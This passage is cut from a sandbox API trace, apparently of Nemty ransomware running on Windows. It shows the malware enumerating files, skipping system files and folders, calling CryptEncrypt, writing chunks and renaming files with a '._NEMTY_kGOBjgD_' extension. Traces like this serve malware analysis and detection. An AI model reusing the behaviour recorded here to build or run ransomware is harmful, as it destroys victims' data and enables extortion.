lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.986] CloseHandle (hObject=0xffffffff) returned 0 [0075.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0075.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0075.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0075.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0075.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.986] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png._nemty_kgobjgd_")) returned 0 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.987] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0075.987] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2=".") returned 1 [0075.987] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="..") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="...") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="windows") returned -1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="$RECYCLE.BIN") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="rsa") returned -1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="NTDETECT.COM") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="ntldr") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="MSDOS.SYS") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="IO.SYS") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="boot.ini") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="boot.ini") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="ntuser.dat") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="desktop.ini") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="CONFIG.SYS") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="RECYCLER") returned -1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="BOOTSECT.BAK") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="bootmgr") returned 1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="programdata") returned -1 [0075.988] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="appdata") returned 1 [0075.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-border.png", lpUsedDefaultChar=0x0) returned 21 [0075.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0075.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-border.png", lpUsedDefaultChar=0x0) returned 21 [0075.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0075.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-border.png", lpUsedDefaultChar=0x0) returned 21 [0075.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-border.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-border.png", lpUsedDefaultChar=0x0) returned 21 [0075.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0075.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0075.989] Sleep (dwMilliseconds=0x5) [0076.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0f26fb0, dwHighDateTime=0x1d561e7)) [0076.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0f26fb0, dwHighDateTime=0x1d561e7)) [0076.001] GetLastError () returned 0x5 [0076.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.001] GetLastError () returned 0x5 [0076.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.002] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0076.002] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="4xyvTuxNm17nLRJyCBCMB+KbNxJ/buL2XGuFI7dVBn0fFOWE6ab8GxTRctdwub+8\r\nZWVMoDjFid/VZOQ3yZUrANk+lTplEffcfq0GCrv1Q1d+pLFXgo1kAW3yYfiuN2kl\r\nrWCJeBkbnWXscCxOI9MiuZXR4I+orJ+DN3NvxDJ50UCVar2SaIs+f1VmVIFS3EnO\r\n9eFcFhgebPriY/X8rlVMLnq0dGSjObX7tUB8W/+x6+vA5vah/VPbTYLNZioD6jtS\r\nVJ7xAEyvaC3Kfk6Trz43ITjHHdwa01IzvpalKNXYfa6hZsbwelC1wcG6FGBXK+5I\r\n3MTRDrXwo+2LqQQheZ5RQA==\r\n", pcchString=0x653e91c) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0076.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.002] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.003] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.114] CloseHandle (hObject=0xffffffff) returned 0 [0076.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0076.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0076.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: 